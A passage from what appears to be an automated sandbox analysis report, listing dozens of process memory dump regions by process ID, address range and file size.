                                                                                          • memory/4024-95-0x0000000002C20000-0x0000000002C65000-memory.dmp

                                                                                            Filesize

                                                                                            276KB

                                                                                          • memory/4024-91-0x0000000003070000-0x0000000003071000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4032-105-0x0000000072AB0000-0x0000000072B43000-memory.dmp

                                                                                            Filesize

                                                                                            588KB

                                                                                          • memory/4052-260-0x0000000003150000-0x0000000003151000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4052-264-0x0000000002F50000-0x0000000002F9C000-memory.dmp

                                                                                            Filesize

                                                                                            304KB

                                                                                          • memory/4052-278-0x0000000000400000-0x0000000000450000-memory.dmp

                                                                                            Filesize

                                                                                            320KB

                                                                                          • memory/4100-275-0x0000000005070000-0x0000000005071000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4100-247-0x0000000000530000-0x0000000000531000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4100-265-0x0000000005120000-0x0000000005121000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4100-276-0x0000000002A20000-0x0000000002A21000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4100-242-0x0000000071290000-0x000000007197E000-memory.dmp

                                                                                            Filesize

                                                                                            6.9MB

                                                                                          • memory/4164-121-0x0000000002950000-0x0000000002952000-memory.dmp

                                                                                            Filesize

                                                                                            8KB

                                                                                          • memory/4164-115-0x00007FFD84A60000-0x00007FFD85400000-memory.dmp

                                                                                            Filesize

                                                                                            9.6MB

                                                                                          • memory/4260-193-0x0000000071290000-0x000000007197E000-memory.dmp

                                                                                            Filesize

                                                                                            6.9MB

                                                                                          • memory/4260-238-0x0000000004C70000-0x0000000004C71000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4260-230-0x00000000049C0000-0x00000000049C1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4440-239-0x0000000004770000-0x0000000004771000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4440-248-0x00000000047A0000-0x00000000047A1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4440-235-0x0000000004760000-0x0000000004761000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4440-217-0x0000000004720000-0x0000000004721000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4440-241-0x0000000004780000-0x0000000004781000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4440-244-0x0000000004790000-0x0000000004791000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4440-257-0x00000000047E0000-0x00000000047E1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4440-210-0x0000000004700000-0x0000000004701000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4440-232-0x0000000004750000-0x0000000004751000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4440-211-0x0000000004730000-0x0000000004731000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4440-205-0x00000000001F0000-0x00000000001F1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4440-280-0x0000000004800000-0x0000000004801000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4440-204-0x0000000003021000-0x000000000304C000-memory.dmp

                                                                                            Filesize

                                                                                            172KB

                                                                                          • memory/4440-251-0x00000000047B0000-0x00000000047B1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4440-228-0x0000000004740000-0x0000000004741000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4440-254-0x00000000047D0000-0x00000000047D1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4440-253-0x00000000047C0000-0x00000000047C1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4440-262-0x00000000047F0000-0x00000000047F1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4440-283-0x0000000004810000-0x0000000004811000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4440-213-0x0000000004710000-0x0000000004711000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4448-202-0x0000000000401000-0x000000000040C000-memory.dmp

                                                                                            Filesize

                                                                                            44KB

                                                                                          • memory/4468-200-0x0000000000401000-0x0000000000417000-memory.dmp

                                                                                            Filesize

                                                                                            88KB

                                                                                          • memory/4484-271-0x00000000049A1000-0x00000000049A9000-memory.dmp

                                                                                            Filesize

                                                                                            32KB

                                                                                          • memory/4484-269-0x00000000021A0000-0x00000000021A1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4484-237-0x00000000029C1000-0x0000000002BA6000-memory.dmp

                                                                                            Filesize

                                                                                            1.9MB

                                                                                          • memory/4484-277-0x0000000004990000-0x0000000004991000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4484-273-0x0000000004AB1000-0x0000000004ABD000-memory.dmp

                                                                                            Filesize

                                                                                            48KB

                                                                                          • memory/4484-215-0x00000000006E0000-0x00000000006E1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4548-218-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4628-132-0x000000001B430000-0x000000001B463000-memory.dmp

                                                                                            Filesize

                                                                                            204KB

                                                                                          • memory/4628-127-0x0000000000A50000-0x0000000000A51000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4628-129-0x000000001B420000-0x000000001B421000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4628-138-0x000000001B470000-0x000000001B471000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4628-126-0x00007FFD86B50000-0x00007FFD8753C000-memory.dmp

                                                                                            Filesize

                                                                                            9.9MB

                                                                                          • memory/4628-140-0x000000001B560000-0x000000001B562000-memory.dmp

                                                                                            Filesize

                                                                                            8KB

                                                                                          • memory/4660-246-0x00000000007B0000-0x00000000007B1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4688-139-0x00000230529C0000-0x00000230529C1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4688-131-0x00007FFD9FE50000-0x00007FFD9FECE000-memory.dmp

                                                                                            Filesize

                                                                                            504KB

                                                                                          • memory/4692-225-0x0000000000401000-0x00000000004A9000-memory.dmp

                                                                                            Filesize

                                                                                            672KB

                                                                                          • memory/4708-137-0x0000000072AB0000-0x0000000072B43000-memory.dmp

                                                                                            Filesize

                                                                                            588KB

                                                                                          • memory/4788-281-0x0000000071290000-0x000000007197E000-memory.dmp

                                                                                            Filesize

                                                                                            6.9MB

                                                                                          • memory/4788-299-0x0000000006A32000-0x0000000006A33000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4788-291-0x0000000006A30000-0x0000000006A31000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4796-272-0x0000000004DE0000-0x0000000004DE1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4796-274-0x00000000026F0000-0x00000000026F1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4796-234-0x0000000071290000-0x000000007197E000-memory.dmp

                                                                                            Filesize

                                                                                            6.9MB

                                                                                          • memory/4796-243-0x00000000002E0000-0x00000000002E1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4800-295-0x0000000009D20000-0x0000000009D21000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4800-179-0x0000000005350000-0x0000000005384000-memory.dmp

                                                                                            Filesize

                                                                                            208KB

                                                                                          • memory/4800-157-0x0000000005880000-0x0000000005881000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4800-171-0x0000000005960000-0x0000000005961000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4800-149-0x0000000071290000-0x000000007197E000-memory.dmp

                                                                                            Filesize

                                                                                            6.9MB

                                                                                          • memory/4800-185-0x00000000053D0000-0x00000000053D1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4800-154-0x0000000000FB0000-0x0000000000FB1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4832-148-0x0000000071290000-0x000000007197E000-memory.dmp

                                                                                            Filesize

                                                                                            6.9MB

                                                                                          • memory/4832-153-0x00000000000A0000-0x00000000000A1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4832-158-0x0000000000AD0000-0x0000000000AD1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4832-160-0x000000000A2D0000-0x000000000A2D1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4832-173-0x00000000049C0000-0x00000000049C1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4832-170-0x0000000009E70000-0x0000000009E71000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4832-159-0x0000000002390000-0x000000000239B000-memory.dmp

                                                                                            Filesize

                                                                                            44KB

                                                                                          • memory/4968-282-0x0000000071290000-0x000000007197E000-memory.dmp

                                                                                            Filesize

                                                                                            6.9MB

                                                                                          • memory/4968-292-0x0000000006B40000-0x0000000006B41000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4968-285-0x0000000004A20000-0x0000000004A21000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4968-288-0x0000000007180000-0x0000000007181000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4968-297-0x0000000006B42000-0x0000000006B43000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/4976-208-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/5056-172-0x0000000000401000-0x00000000004B7000-memory.dmp

                                                                                            Filesize

                                                                                            728KB

                                                                                          • memory/5068-174-0x0000000000600000-0x0000000000601000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/5344-300-0x0000000072AB0000-0x0000000072B43000-memory.dmp

                                                                                            Filesize

                                                                                            588KB